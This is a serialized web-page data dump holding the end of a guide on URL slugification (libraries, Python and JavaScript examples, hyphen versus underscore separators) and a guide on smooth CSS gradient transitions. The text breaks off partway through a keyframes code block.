Separator",[202,187649,187650],{},"Transliteration",[211,187652,187653,187670,187686,187702,187718],{},[199,187654,187655,187660,187662,187665,187667],{},[216,187656,187657],{},[47,187658,187659],{},"python-slugify",[216,187661,9840],{},[216,187663,187664],{},"NFKD + diacritics strip",[216,187666,3057],{},[216,187668,187669],{},"Built-in",[199,187671,187672,187676,187679,187681,187683],{},[216,187673,187674],{},[47,187675,186176],{},[216,187677,187678],{},"JavaScript (npm)",[216,187680,187664],{},[216,187682,3057],{},[216,187684,187685],{},"Optional",[199,187687,187688,187693,187695,187697,187699],{},[216,187689,187690],{},[47,187691,187692],{},"Laravel Str::slug",[216,187694,87811],{},[216,187696,187664],{},[216,187698,3057],{},[216,187700,187701],{},"Via stringy",[199,187703,187704,187709,187711,187713,187715],{},[216,187705,187706],{},[47,187707,187708],{},"Go slug",[216,187710,9900],{},[216,187712,187664],{},[216,187714,3057],{},[216,187716,187717],{},"Via transliteration map",[199,187719,187720,187725,187727,187729,187731],{},[216,187721,187722],{},[47,187723,187724],{},"Rails ActiveSupport::Parameterize",[216,187726,23440],{},[216,187728,187664],{},[216,187730,3057],{},[216,187732,84702],{},[33,187734,187736],{"id":187735},"python-example","Python example",[135,187738,187740],{"className":8259,"code":187739,"language":8261,"meta":141,"style":141},"from slugify import slugify\n\nslugify(\"How to Build a REST API\")\n# \"how-to-build-a-rest-api\"\n\nslugify(\"Café résumé: 10 tips\")\n# \"cafe-resume-10-tips\"\n\nslugify(\"こんにちは世界\", transliterate=True)\n# \"konnichiha-shi-jie\"\n",[143,187741,187742,187747,187751,187756,187761,187765,187770,187775,187779,187784],{"__ignoreMap":141},[1560,187743,187744],{"class":1562,"line":1563},[1560,187745,187746],{},"from slugify import slugify\n",[1560,187748,187749],{"class":1562,"line":337},[1560,187750,1702],{"emptyLinePlaceholder":363},[1560,187752,187753],{"class":1562,"line":343},[1560,187754,187755],{},"slugify(\"How to Build a REST API\")\n",[1560,187757,187758],{"class":1562,"line":365},[1560,187759,187760],{},"# \"how-to-build-a-rest-api\"\n",[1560,187762,187763],{"class":1562,"line":889},[1560,187764,1702],{"emptyLinePlaceholder":363},[1560,187766,187767],{"class":1562,"line":1710},[1560,187768,187769],{},"slugify(\"Café résumé: 10 tips\")\n",[1560,187771,187772],{"class":1562,"line":1717},[1560,187773,187774],{},"# \"cafe-resume-10-tips\"\n",[1560,187776,187777],{"class":1562,"line":1747},[1560,187778,1702],{"emptyLinePlaceholder":363},[1560,187780,187781],{"class":1562,"line":2507},[1560,187782,187783],{},"slugify(\"こんにちは世界\", transliterate=True)\n",[1560,187785,187786],{"class":1562,"line":2524},[1560,187787,187788],{},"# \"konnichiha-shi-jie\"\n",[33,187790,187792],{"id":187791},"javascript-example","JavaScript example",[135,187794,187796],{"className":1607,"code":187795,"language":1609,"meta":141,"style":141},"import slugify from 'slugify';\n\nslugify('How to Build a REST API');\n\u002F\u002F \"How-to-Build-a-REST-API\"\n\nslugify('How to Build a REST API', { lower: true });\n\u002F\u002F \"how-to-build-a-rest-api\"\n\nslugify('Café résumé: 10 tips');\n\u002F\u002F \"Cafe-resume-10-tips\"\n",[143,187797,187798,187812,187816,187827,187832,187836,187851,187856,187860,187871],{"__ignoreMap":141},[1560,187799,187800,187802,187805,187807,187810],{"class":1562,"line":1563},[1560,187801,8162],{"class":1669},[1560,187803,187804],{"class":1570}," slugify ",[1560,187806,8168],{"class":1669},[1560,187808,187809],{"class":5634}," 'slugify'",[1560,187811,2228],{"class":1570},[1560,187813,187814],{"class":1562,"line":337},[1560,187815,1702],{"emptyLinePlaceholder":363},[1560,187817,187818,187820,187822,187825],{"class":1562,"line":343},[1560,187819,186176],{"class":1566},[1560,187821,1688],{"class":1570},[1560,187823,187824],{"class":5634},"'How to Build a REST API'",[1560,187826,1744],{"class":1570},[1560,187828,187829],{"class":1562,"line":365},[1560,187830,187831],{"class":1649},"\u002F\u002F \"How-to-Build-a-REST-API\"\n",[1560,187833,187834],{"class":1562,"line":889},[1560,187835,1702],{"emptyLinePlaceholder":363},[1560,187837,187838,187840,187842,187844,187847,187849],{"class":1562,"line":1710},[1560,187839,186176],{"class":1566},[1560,187841,1688],{"class":1570},[1560,187843,187824],{"class":5634},[1560,187845,187846],{"class":1570},", { lower: ",[1560,187848,20533],{"class":1576},[1560,187850,11630],{"class":1570},[1560,187852,187853],{"class":1562,"line":1717},[1560,187854,187855],{"class":1649},"\u002F\u002F \"how-to-build-a-rest-api\"\n",[1560,187857,187858],{"class":1562,"line":1747},[1560,187859,1702],{"emptyLinePlaceholder":363},[1560,187861,187862,187864,187866,187869],{"class":1562,"line":2507},[1560,187863,186176],{"class":1566},[1560,187865,1688],{"class":1570},[1560,187867,187868],{"class":5634},"'Café résumé: 10 tips'",[1560,187870,1744],{"class":1570},[1560,187872,187873],{"class":1562,"line":2524},[1560,187874,187875],{"class":1649},"\u002F\u002F \"Cafe-resume-10-tips\"\n",[11,187877,187879],{"id":187878},"choosing-a-separator","Choosing a Separator",[16,187881,187882],{},"Three separators are commonly used in URLs:",[193,187884,187885,187899],{},[196,187886,187887],{},[199,187888,187889,187892,187894,187897],{},[202,187890,187891],{},"Separator",[202,187893,133],{},[202,187895,187896],{},"SEO Impact",[202,187898,61633],{},[211,187900,187901,187918,187936],{},[199,187902,187903,187909,187913,187916],{},[216,187904,187905,6841,187907],{},[47,187906,121721],{},[143,187908,9412],{},[216,187910,187911],{},[143,187912,182368],{},[216,187914,187915],{},"Google recognizes as word separator",[216,187917,15446],{},[199,187919,187920,187926,187931,187934],{},[216,187921,187922,6841,187924],{},[47,187923,103204],{},[143,187925,23056],{},[216,187927,187928],{},[143,187929,187930],{},"\u002Fbest_seo_tips",[216,187932,187933],{},"Google does not treat as word separator",[216,187935,7639],{},[199,187937,187938,187945,187950,187953],{},[216,187939,187940,6841,187943],{},[47,187941,187942],{},"Dot",[143,187944,468],{},[216,187946,187947],{},[143,187948,187949],{},"\u002Fbest.seo.tips",[216,187951,187952],{},"Ambiguous — can indicate file extensions",[216,187954,15466],{},[16,187956,187957,187960,187961,187964,187965,468],{},[47,187958,187959],{},"Use hyphens."," Google's John Mueller has confirmed that hyphens are the preferred URL separator. Underscores cause Google to join words together, so ",[143,187962,187963],{},"best_seo_tips"," is read as ",[143,187966,187967],{},"bestseotips",[11,187969,1355],{"id":1354},[41,187971,187972,187975,187978,187981,187984,187987],{},[44,187973,187974],{},"Slugification converts titles into URL-safe strings through a six-step pipeline",[44,187976,187977],{},"NFKD normalization decomposes characters so diacritics can be stripped",[44,187979,187980],{},"Non-Latin scripts produce empty slugs unless transliteration is applied",[44,187982,187983],{},"Always use hyphens as separators — Google treats underscores as word joiners",[44,187985,187986],{},"Most languages have mature slugify libraries that handle the full pipeline",[44,187988,187989],{},"Test your slugify function with accented input, symbols, and non-Latin text",[11,187991,321],{"id":320},[41,187993,187994,187998,188002],{},[44,187995,187996],{},[98,187997,182697],{"href":182696},[44,187999,188000],{},[98,188001,182214],{"href":182736},[44,188003,188004],{},[98,188005,12185],{"href":12184},[11,188007,286],{"id":285},[16,188009,188010,188011,188013,188014,188016],{},"Turn any title into a clean slug instantly with our ",[98,188012,156905],{"href":156904},", and convert text between naming formats with the ",[98,188015,23816],{"href":23815}," — both free, no account needed.",[2043,188018,188019],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":188021},[188022,188023,188031,188032,188036,188037,188038,188039],{"id":187333,"depth":337,"text":187334},{"id":187346,"depth":337,"text":187347,"children":188024},[188025,188026,188027,188028,188029,188030],{"id":187353,"depth":343,"text":187354},{"id":187369,"depth":343,"text":187370},{"id":187460,"depth":343,"text":187461},{"id":187473,"depth":343,"text":187474},{"id":187489,"depth":343,"text":187490},{"id":187502,"depth":343,"text":187503},{"id":187515,"depth":337,"text":187516},{"id":187626,"depth":337,"text":187627,"children":188033},[188034,188035],{"id":187735,"depth":343,"text":187736},{"id":187791,"depth":343,"text":187792},{"id":187878,"depth":337,"text":187879},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Understand the slugification algorithm — Unicode normalization, diacritics removal, and separator handling explained step by step.",{"immutable":363},{"title":182703,"description":188040},"guides\u002Fslugification-how-it-works","GAm7ULoMKcghVeREOfAkf-IxubNNlORNkKM-RQhAgog",{"id":188046,"title":188047,"body":188048,"date":2070,"description":189097,"extension":361,"meta":189098,"navigation":363,"path":189099,"readingTime":1710,"seo":189100,"stem":189101,"__hash__":189102},"guides\u002Fguides\u002Fsmooth-gradient-transitions.md","Creating Smooth CSS Gradient Transitions: Tips and Techniques",{"type":8,"value":188049,"toc":189086},[188050,188054,188061,188064,188068,188071,188309,188312,188317,188321,188330,188465,188468,188473,188477,188482,188717,188720,188727,188731,188738,188896,188902,188938,188940,189010,189015,189032,189034,189058,189060,189075,189077,189083],[11,188051,188053],{"id":188052},"the-gradient-transition-problem","The Gradient Transition Problem",[16,188055,188056,188057,188060],{},"CSS gradients don't animate natively. If you try to transition between two gradient values with ",[143,188058,188059],{},"transition: background 0.3s",", nothing happens — the gradient snaps instantly. This is because gradients are not interpolatable values in the CSS specification.",[16,188062,188063],{},"Fortunately, several patterns achieve smooth gradient transitions without JavaScript.",[11,188065,188067],{"id":188066},"technique-1-opacity-cross-fade","Technique 1: Opacity Cross-Fade",[16,188069,188070],{},"The simplest approach uses two overlapping elements and transitions their opacity:",[135,188072,188074],{"className":1554,"code":188073,"language":1556,"meta":141,"style":141},".gradient-bg {\n  position: relative;\n}\n\n.gradient-bg::before,\n.gradient-bg::after {\n  content: '';\n  position: absolute;\n  inset: 0;\n  transition: opacity 0.4s ease;\n}\n\n.gradient-bg::before {\n  background: linear-gradient(135deg, #3B82F6, #8B5CF6);\n  opacity: 1;\n}\n\n.gradient-bg::after {\n  background: linear-gradient(135deg, #EC4899, #F59E0B);\n  opacity: 0;\n}\n\n.gradient-bg:hover::before {\n  opacity: 0;\n}\n\n.gradient-bg:hover::after {\n  opacity: 1;\n}\n",[143,188075,188076,188083,188093,188097,188101,188108,188115,188125,188135,188145,188159,188163,188167,188173,188197,188207,188211,188215,188221,188245,188255,188259,188263,188270,188280,188284,188288,188295,188305],{"__ignoreMap":141},[1560,188077,188078,188081],{"class":1562,"line":1563},[1560,188079,188080],{"class":1566},".gradient-bg",[1560,188082,1571],{"class":1570},[1560,188084,188085,188087,188089,188091],{"class":1562,"line":337},[1560,188086,5642],{"class":1576},[1560,188088,1663],{"class":1570},[1560,188090,19549],{"class":1576},[1560,188092,2228],{"class":1570},[1560,188094,188095],{"class":1562,"line":343},[1560,188096,1585],{"class":1570},[1560,188098,188099],{"class":1562,"line":365},[1560,188100,1702],{"emptyLinePlaceholder":363},[1560,188102,188103,188106],{"class":1562,"line":889},[1560,188104,188105],{"class":1566},".gradient-bg::before",[1560,188107,11943],{"class":1570},[1560,188109,188110,188113],{"class":1562,"line":1710},[1560,188111,188112],{"class":1566},".gradient-bg::after",[1560,188114,1571],{"class":1570},[1560,188116,188117,188119,188121,188123],{"class":1562,"line":1717},[1560,188118,5629],{"class":1576},[1560,188120,1663],{"class":1570},[1560,188122,5635],{"class":5634},[1560,188124,2228],{"class":1570},[1560,188126,188127,188129,188131,188133],{"class":1562,"line":1747},[1560,188128,5642],{"class":1576},[1560,188130,1663],{"class":1570},[1560,188132,5647],{"class":1576},[1560,188134,2228],{"class":1570},[1560,188136,188137,188139,188141,188143],{"class":1562,"line":2507},[1560,188138,5654],{"class":1576},[1560,188140,1663],{"class":1570},[1560,188142,5285],{"class":1576},[1560,188144,2228],{"class":1570},[1560,188146,188147,188149,188151,188153,188155,188157],{"class":1562,"line":2524},[1560,188148,18718],{"class":1576},[1560,188150,19713],{"class":1570},[1560,188152,73707],{"class":1576},[1560,188154,18727],{"class":1669},[1560,188156,18730],{"class":1576},[1560,188158,2228],{"class":1570},[1560,188160,188161],{"class":1562,"line":2529},[1560,188162,1585],{"class":1570},[1560,188164,188165],{"class":1562,"line":2534},[1560,188166,1702],{"emptyLinePlaceholder":363},[1560,188168,188169,188171],{"class":1562,"line":2542},[1560,188170,188105],{"class":1566},[1560,188172,1571],{"class":1570},[1560,188174,188175,188177,188179,188181,188183,188185,188187,188189,188191,188193,188195],{"class":1562,"line":2558},[1560,188176,5665],{"class":1576},[1560,188178,1663],{"class":1570},[1560,188180,46356],{"class":1576},[1560,188182,1688],{"class":1570},[1560,188184,46361],{"class":1576},[1560,188186,1694],{"class":1669},[1560,188188,1459],{"class":1570},[1560,188190,2260],{"class":1576},[1560,188192,1459],{"class":1570},[1560,188194,55458],{"class":1576},[1560,188196,1744],{"class":1570},[1560,188198,188199,188201,188203,188205],{"class":1562,"line":2570},[1560,188200,19700],{"class":1576},[1560,188202,1663],{"class":1570},[1560,188204,3585],{"class":1576},[1560,188206,2228],{"class":1570},[1560,188208,188209],{"class":1562,"line":6638},[1560,188210,1585],{"class":1570},[1560,188212,188213],{"class":1562,"line":11615},[1560,188214,1702],{"emptyLinePlaceholder":363},[1560,188216,188217,188219],{"class":1562,"line":11621},[1560,188218,188112],{"class":1566},[1560,188220,1571],{"class":1570},[1560,188222,188223,188225,188227,188229,188231,188233,188235,188237,188239,188241,188243],{"class":1562,"line":11633},[1560,188224,5665],{"class":1576},[1560,188226,1663],{"class":1570},[1560,188228,46356],{"class":1576},[1560,188230,1688],{"class":1570},[1560,188232,46361],{"class":1576},[1560,188234,1694],{"class":1669},[1560,188236,1459],{"class":1570},[1560,188238,55467],{"class":1576},[1560,188240,1459],{"class":1570},[1560,188242,30753],{"class":1576},[1560,188244,1744],{"class":1570},[1560,188246,188247,188249,188251,188253],{"class":1562,"line":11638},[1560,188248,19700],{"class":1576},[1560,188250,1663],{"class":1570},[1560,188252,5285],{"class":1576},[1560,188254,2228],{"class":1570},[1560,188256,188257],{"class":1562,"line":11672},[1560,188258,1585],{"class":1570},[1560,188260,188261],{"class":1562,"line":19435},[1560,188262,1702],{"emptyLinePlaceholder":363},[1560,188264,188265,188268],{"class":1562,"line":19442},[1560,188266,188267],{"class":1566},".gradient-bg:hover::before",[1560,188269,1571],{"class":1570},[1560,188271,188272,188274,188276,188278],{"class":1562,"line":19475},[1560,188273,19700],{"class":1576},[1560,188275,1663],{"class":1570},[1560,188277,5285],{"class":1576},[1560,188279,2228],{"class":1570},[1560,188281,188282],{"class":1562,"line":19508},[1560,188283,1585],{"class":1570},[1560,188285,188286],{"class":1562,"line":44196},[1560,188287,1702],{"emptyLinePlaceholder":363},[1560,188289,188290,188293],{"class":1562,"line":44203},[1560,188291,188292],{"class":1566},".gradient-bg:hover::after",[1560,188294,1571],{"class":1570},[1560,188296,188297,188299,188301,188303],{"class":1562,"line":44220},[1560,188298,19700],{"class":1576},[1560,188300,1663],{"class":1570},[1560,188302,3585],{"class":1576},[1560,188304,2228],{"class":1570},[1560,188306,188307],{"class":1562,"line":71501},[1560,188308,1585],{"class":1570},[16,188310,188311],{},"This creates a smooth cross-fade between two gradients. The browser interpolates opacity values, which it handles well.",[16,188313,188314,188316],{},[47,188315,80936],{},": The intermediate states show both gradients blended together, which can produce muddy colors at the midpoint. Keep both gradient palettes harmonious to minimize this.",[11,188318,188320],{"id":188319},"technique-2-background-position-shift","Technique 2: Background-Position Shift",[16,188322,188323,188324,1531,188327,188329],{},"You can animate ",[143,188325,188326],{},"background-position",[143,188328,56113],{}," on an oversized gradient:",[135,188331,188333],{"className":1554,"code":188332,"language":1556,"meta":141,"style":141},".shift-gradient {\n  background: linear-gradient(\n    90deg,\n    #3B82F6, #8B5CF6, #EC4899, #3B82F6\n  );\n  background-size: 300% 100%;\n  background-position: 0% 50%;\n  transition: background-position 0.6s ease;\n}\n\n.shift-gradient:hover {\n  background-position: 100% 50%;\n}\n",[143,188334,188335,188342,188352,188361,188379,188383,188399,188415,188430,188434,188438,188445,188461],{"__ignoreMap":141},[1560,188336,188337,188340],{"class":1562,"line":1563},[1560,188338,188339],{"class":1566},".shift-gradient",[1560,188341,1571],{"class":1570},[1560,188343,188344,188346,188348,188350],{"class":1562,"line":337},[1560,188345,5665],{"class":1576},[1560,188347,1663],{"class":1570},[1560,188349,46356],{"class":1576},[1560,188351,35957],{"class":1570},[1560,188353,188354,188357,188359],{"class":1562,"line":343},[1560,188355,188356],{"class":1576},"    90",[1560,188358,1694],{"class":1669},[1560,188360,11943],{"class":1570},[1560,188362,188363,188366,188368,188370,188372,188374,188376],{"class":1562,"line":365},[1560,188364,188365],{"class":1576},"    #3B82F6",[1560,188367,1459],{"class":1570},[1560,188369,55458],{"class":1576},[1560,188371,1459],{"class":1570},[1560,188373,55467],{"class":1576},[1560,188375,1459],{"class":1570},[1560,188377,188378],{"class":1576},"#3B82F6\n",[1560,188380,188381],{"class":1562,"line":889},[1560,188382,36075],{"class":1570},[1560,188384,188385,188387,188389,188391,188393,188395,188397],{"class":1562,"line":1710},[1560,188386,68977],{"class":1576},[1560,188388,1663],{"class":1570},[1560,188390,44009],{"class":1576},[1560,188392,17990],{"class":1669},[1560,188394,35878],{"class":1576},[1560,188396,17990],{"class":1669},[1560,188398,2228],{"class":1570},[1560,188400,188401,188403,188405,188407,188409,188411,188413],{"class":1562,"line":1717},[1560,188402,52009],{"class":1576},[1560,188404,1663],{"class":1570},[1560,188406,5285],{"class":1576},[1560,188408,17990],{"class":1669},[1560,188410,18318],{"class":1576},[1560,188412,17990],{"class":1669},[1560,188414,2228],{"class":1570},[1560,188416,188417,188419,188422,188424,188426,188428],{"class":1562,"line":1747},[1560,188418,18718],{"class":1576},[1560,188420,188421],{"class":1570},": background-position ",[1560,188423,44082],{"class":1576},[1560,188425,18727],{"class":1669},[1560,188427,18730],{"class":1576},[1560,188429,2228],{"class":1570},[1560,188431,188432],{"class":1562,"line":2507},[1560,188433,1585],{"class":1570},[1560,188435,188436],{"class":1562,"line":2524},[1560,188437,1702],{"emptyLinePlaceholder":363},[1560,188439,188440,188443],{"class":1562,"line":2529},[1560,188441,188442],{"class":1566},".shift-gradient:hover",[1560,188444,1571],{"class":1570},[1560,188446,188447,188449,188451,188453,188455,188457,188459],{"class":1562,"line":2534},[1560,188448,52009],{"class":1576},[1560,188450,1663],{"class":1570},[1560,188452,18114],{"class":1576},[1560,188454,17990],{"class":1669},[1560,188456,18318],{"class":1576},[1560,188458,17990],{"class":1669},[1560,188460,2228],{"class":1570},[1560,188462,188463],{"class":1562,"line":2542},[1560,188464,1585],{"class":1570},[16,188466,188467],{},"By making the gradient three times wider than the element and shifting the visible window, you get a smooth transition between different color sections of the same gradient.",[16,188469,188470,188472],{},[47,188471,80936],{},": The gradient must contain both the starting and ending color schemes in a single linear flow. This works best when both states share a color at the transition point.",[11,188474,188476],{"id":188475},"technique-3-css-custom-properties-with-property","Technique 3: CSS Custom Properties with @property",[16,188478,188479,188480,8037],{},"Modern CSS supports animating custom properties when their type is declared with ",[143,188481,56109],{},[135,188483,188485],{"className":1554,"code":188484,"language":1556,"meta":141,"style":141},"@property --angle {\n  syntax: '\u003Cangle>';\n  initial-value: 0deg;\n  inherits: false;\n}\n\n@property --color-start {\n  syntax: '\u003Ccolor>';\n  initial-value: #3B82F6;\n  inherits: false;\n}\n\n@property --color-end {\n  syntax: '\u003Ccolor>';\n  initial-value: #8B5CF6;\n  inherits: false;\n}\n\n.animated-gradient {\n  background: linear-gradient(var(--angle), var(--color-start), var(--color-end));\n  transition: --angle 0.6s, --color-start 0.4s, --color-end 0.4s;\n}\n\n.animated-gradient:hover {\n  --angle: 90deg;\n  --color-start: #EC4899;\n  --color-end: #F59E0B;\n}\n",[143,188486,188487,188493,188501,188507,188511,188515,188519,188526,188535,188545,188549,188553,188557,188564,188572,188582,188586,188590,188594,188601,188637,188664,188668,188672,188679,188691,188702,188713],{"__ignoreMap":141},[1560,188488,188489,188491],{"class":1562,"line":1563},[1560,188490,56109],{"class":1669},[1560,188492,56152],{"class":1570},[1560,188494,188495,188497,188499],{"class":1562,"line":337},[1560,188496,56157],{"class":1570},[1560,188498,28226],{"class":1669},[1560,188500,56162],{"class":1570},[1560,188502,188503,188505],{"class":1562,"line":343},[1560,188504,56167],{"class":2484},[1560,188506,56170],{"class":1570},[1560,188508,188509],{"class":1562,"line":365},[1560,188510,56175],{"class":1570},[1560,188512,188513],{"class":1562,"line":889},[1560,188514,1585],{"class":1570},[1560,188516,188517],{"class":1562,"line":1710},[1560,188518,1702],{"emptyLinePlaceholder":363},[1560,188520,188521,188523],{"class":1562,"line":1717},[1560,188522,56109],{"class":1669},[1560,188524,188525],{"class":1570}," --color-start {\n",[1560,188527,188528,188531,188533],{"class":1562,"line":1747},[1560,188529,188530],{"class":1570},"  syntax: '\u003Ccolor",[1560,188532,28226],{"class":1669},[1560,188534,56162],{"class":1570},[1560,188536,188537,188539,188541,188543],{"class":1562,"line":2507},[1560,188538,56167],{"class":2484},[1560,188540,1663],{"class":1570},[1560,188542,2260],{"class":5159},[1560,188544,2228],{"class":1570},[1560,188546,188547],{"class":1562,"line":2524},[1560,188548,56175],{"class":1570},[1560,188550,188551],{"class":1562,"line":2529},[1560,188552,1585],{"class":1570},[1560,188554,188555],{"class":1562,"line":2534},[1560,188556,1702],{"emptyLinePlaceholder":363},[1560,188558,188559,188561],{"class":1562,"line":2542},[1560,188560,56109],{"class":1669},[1560,188562,188563],{"class":1570}," --color-end {\n",[1560,188565,188566,188568,188570],{"class":1562,"line":2558},[1560,188567,188530],{"class":1570},[1560,188569,28226],{"class":1669},[1560,188571,56162],{"class":1570},[1560,188573,188574,188576,188578,188580],{"class":1562,"line":2570},[1560,188575,56167],{"class":2484},[1560,188577,1663],{"class":1570},[1560,188579,55458],{"class":5159},[1560,188581,2228],{"class":1570},[1560,188583,188584],{"class":1562,"line":6638},[1560,188585,56175],{"class":1570},[1560,188587,188588],{"class":1562,"line":11615},[1560,188589,1585],{"class":1570},[1560,188591,188592],{"class":1562,"line":11621},[1560,188593,1702],{"emptyLinePlaceholder":363},[1560,188595,188596,188599],{"class":1562,"line":11633},[1560,188597,188598],{"class":1566},".animated-gradient",[1560,188600,1571],{"class":1570},[1560,188602,188603,188605,188607,188609,188611,188613,188615,188617,188619,188621,188623,188626,188628,188630,188632,188635],{"class":1562,"line":11638},[1560,188604,5665],{"class":1576},[1560,188606,1663],{"class":1570},[1560,188608,46356],{"class":1576},[1560,188610,1688],{"class":1570},[1560,188612,2497],{"class":1576},[1560,188614,1688],{"class":1570},[1560,188616,56222],{"class":2219},[1560,188618,18895],{"class":1570},[1560,188620,2497],{"class":1576},[1560,188622,1688],{"class":1570},[1560,188624,188625],{"class":2219},"--color-start",[1560,188627,18895],{"class":1570},[1560,188629,2497],{"class":1576},[1560,188631,1688],{"class":1570},[1560,188633,188634],{"class":2219},"--color-end",[1560,188636,41941],{"class":1570},[1560,188638,188639,188641,188644,188646,188648,188651,188653,188655,188658,188660,188662],{"class":1562,"line":11672},[1560,188640,18718],{"class":1576},[1560,188642,188643],{"class":1570},": --angle ",[1560,188645,44082],{"class":1576},[1560,188647,18727],{"class":1669},[1560,188649,188650],{"class":1570},", --color-start ",[1560,188652,73707],{"class":1576},[1560,188654,18727],{"class":1669},[1560,188656,188657],{"class":1570},", --color-end ",[1560,188659,73707],{"class":1576},[1560,188661,18727],{"class":1669},[1560,188663,2228],{"class":1570},[1560,188665,188666],{"class":1562,"line":19435},[1560,188667,1585],{"class":1570},[1560,188669,188670],{"class":1562,"line":19442},[1560,188671,1702],{"emptyLinePlaceholder":363},[1560,188673,188674,188677],{"class":1562,"line":19475},[1560,188675,188676],{"class":1566},".animated-gradient:hover",[1560,188678,1571],{"class":1570},[1560,188680,188681,188683,188685,188687,188689],{"class":1562,"line":19508},[1560,188682,56195],{"class":2219},[1560,188684,1663],{"class":1570},[1560,188686,24004],{"class":1576},[1560,188688,1694],{"class":1669},[1560,188690,2228],{"class":1570},[1560,188692,188693,188696,188698,188700],{"class":1562,"line":44196},[1560,188694,188695],{"class":2219},"  --color-start",[1560,188697,1663],{"class":1570},[1560,188699,55467],{"class":1576},[1560,188701,2228],{"class":1570},[1560,188703,188704,188707,188709,188711],{"class":1562,"line":44203},[1560,188705,188706],{"class":2219},"  --color-end",[1560,188708,1663],{"class":1570},[1560,188710,30753],{"class":1576},[1560,188712,2228],{"class":1570},[1560,188714,188715],{"class":1562,"line":44220},[1560,188716,1585],{"class":1570},[16,188718,188719],{},"This is the most elegant solution because the browser interpolates each custom property independently, yielding clean transitions.",[16,188721,188722,1663,188724,188726],{},[47,188723,76007],{},[143,188725,56109],{}," works in Chromium browsers (Chrome, Edge, Safari 15.4+). Firefox added support in version 128. Always verify your target browsers.",[11,188728,188730],{"id":188729},"technique-4-continuous-gradient-animation","Technique 4: Continuous Gradient Animation",[16,188732,188733,188734,12674,188736,8037],{},"For loading spinners and ambient backgrounds, use ",[143,188735,19946],{},[143,188737,188326],{},[135,188739,188741],{"className":1554,"code":188740,"language":1556,"meta":141,"style":141},"@keyframes gradient-flow {\n  0% { background-position: 0% 50%; }\n  50% { background-position: 100% 50%; }\n  100% { background-position: 0% 50%; }\n}\n\n.flow-gradient {\n  background: linear-gradient(270deg, #3B82F6, #8B5CF6, #EC4899, #3B82F6);\n  background-size: 400% 100%;\n  animation: gradient-flow 8s ease infinite;\n}\n",[143,188742,188743,188752,188772,188792,188812,188816,188820,188827,188859,188875,188892],{"__ignoreMap":141},[1560,188744,188745,188747,188750],{"class":1562,"line":1563},[1560,188746,19946],{"class":1669},[1560,188748,188749],{"class":2219}," gradient-flow",[1560,188751,1571],{"class":1570},[1560,188753,188754,188756,188758,188760,188762,188764,188766,188768,188770],{"class":1562,"line":337},[1560,188755,19965],{"class":1566},[1560,188757,1658],{"class":1570},[1560,188759,188326],{"class":1576},[1560,188761,1663],{"class":1570},[1560,188763,5285],{"class":1576},[1560,188765,17990],{"class":1669},[1560,188767,18318],{"class":1576},[1560,188769,17990],{"class":1669},[1560,188771,1673],{"class":1570},[1560,188773,188774,188776,188778,188780,188782,188784,188786,188788,188790],{"class":1562,"line":343},[1560,188775,20020],{"class":1566},[1560,188777,1658],{"class":1570},[1560,188779,188326],{"class":1576},[1560,188781,1663],{"class":1570},[1560,188783,18114],{"class":1576},[1560,188785,17990],{"class":1669},[1560,188787,18318],{"class":1576},[1560,188789,17990],{"class":1669},[1560,188791,1673],{"class":1570},[1560,188793,188794,188796,188798,188800,188802,188804,188806,188808,188810],{"class":1562,"line":365},[1560,188795,36587],{"class":1566},[1560,188797,1658],{"class":1570},[1560,188799,188326],{"class":1576},[1560,188801,1663],{"class":1570},[1560,188803,5285],{"class":1576},[1560,188805,17990],{"class":1669},[1560,188807,18318],{"class":1576},[1560,188809,17990],{"class":1669},[1560,188811,1673],{"class":1570},[1560,188813,188814],{"class":1562,"line":889},[1560,188815,1585],{"class":1570},[1560,188817,188818],{"class":1562,"line":1710},[1560,188819,1702],{"emptyLinePlaceholder":363},[1560,188821,188822,188825],{"class":1562,"line":1717},[1560,188823,188824],{"class":1566},".flow-gradient",[1560,188826,1571],{"class":1570},[1560,188828,188829,188831,188833,188835,188837,188839,188841,188843,188845,188847,188849,188851,188853,188855,188857],{"class":1562,"line":1747},[1560,188830,5665],{"class":1576},[1560,188832,1663],{"class":1570},[1560,188834,46356],{"class":1576},[1560,188836,1688],{"class":1570},[1560,188838,66662],{"class":1576},[1560,188840,1694],{"class":1669},[1560,188842,1459],{"class":1570},[1560,188844,2260],{"class":1576},[1560,188846,1459],{"class":1570},[1560,188848,55458],{"class":1576},[1560,188850,1459],{"class":1570},[1560,188852,55467],{"class":1576},[1560,188854,1459],{"class":1570},[1560,188856,2260],{"class":1576},[1560,188858,1744],{"class":1570},[1560,188860,188861,188863,188865,188867,188869,188871,188873],{"class":1562,"line":2507},[1560,188862,68977],{"class":1576},[1560,188864,1663],{"class":1570},[1560,188866,24703],{"class":1576},[1560,188868,17990],{"class":1669},[1560,188870,35878],{"class":1576},[1560,188872,17990],{"class":1669},[1560,188874,2228],{"class":1570},[1560,188876,188877,188879,188882,188884,188886,188888,188890],{"class":1562,"line":2524},[1560,188878,20083],{"class":1576},[1560,188880,188881],{"class":1570},": gradient-flow 